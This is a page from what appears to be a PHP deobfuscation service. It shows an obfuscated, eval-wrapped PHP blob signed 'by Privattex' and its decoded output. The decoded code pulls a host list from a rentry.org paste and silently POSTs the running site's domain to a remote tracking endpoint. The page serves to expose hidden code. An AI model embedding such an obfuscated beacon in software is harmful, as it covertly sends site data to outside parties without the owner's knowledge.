Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvXsuu4EfyaLa/fmFD5iTnnzBcXZs5OJL..
Decoded Output download
// Funo para verificar se a API est ativa
function isApiAvailable($apiUrl) {
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $apiUrl);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$response = curl_exec($curl);
$httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE);
curl_close($curl);
// Verifica se a resposta um JSON vlido
$jsonData = json_decode($response, true);
return $httpCode === 200 && is_array($jsonData) && isset($jsonData['status']) && $jsonData['status'] === 'API is available';
}
// Obtm o domnio atual
$domain = $_SERVER['HTTP_HOST'];
// Obtm a lista de links do URL fornecido
$linkListUrl = 'https://rentry.org/verifySitesPVTx/raw';
$linkListJson = file_get_contents($linkListUrl);
$linkList = json_decode($linkListJson, true);
// Varivel para armazenar a URL da API disponvel
$apiUrl = null;
// Verifica cada URL da lista de links
foreach ($linkList as $link) {
$apiUrl = 'http://' . $link . '/verify.php';
if (isApiAvailable($apiUrl)) {
// API disponvel, envia os dados para a API
$apiTrackingUrl = 'http://' . $link . '/domain_tracking.php';
// Dados a serem enviados no corpo da requisio
$data = array(
'domain' => $domain
);
// Inicializa a sesso cURL
$curl = curl_init();
// Configura as opes da requisio
curl_setopt($curl, CURLOPT_URL, $apiTrackingUrl);
curl_setopt($curl, CURLOPT_POST, true);
curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
// Executa a requisio e obtm a resposta
$response = curl_exec($curl);
// Fecha a sesso cURL
curl_close($curl);
// Verifica a resposta da API
$jsonData = json_decode($response, true);
if ($jsonData['status'] === 'success') {
// A API recebeu os dados com sucesso
// echo "Dados enviados para a API com sucesso!";
} else {
// A API encontrou um erro ao receber os dados
// echo "Erro ao enviar os dados para a API!";
}
break; // Interrompe o loop aps encontrar a API disponvel
}
}
// Verifica se nenhuma API est disponvel
if ($apiUrl === null) {
// echo "Nenhuma API disponvel no momento!";
}
Did this file decode correctly?
Original Code
<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('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')))));
// by Privattex
?>
Function Calls
strrev | 3 |
gzinflate | 11 |
str_rot13 | 11 |
gzuncompress | 4 |
rawurldecode | 1 |
base64_decode | 18 |
Stats
MD5 | 4370fd5301ede83a93060716a2af71d8 |
Eval Count | 16 |
Decode Time | 76 ms |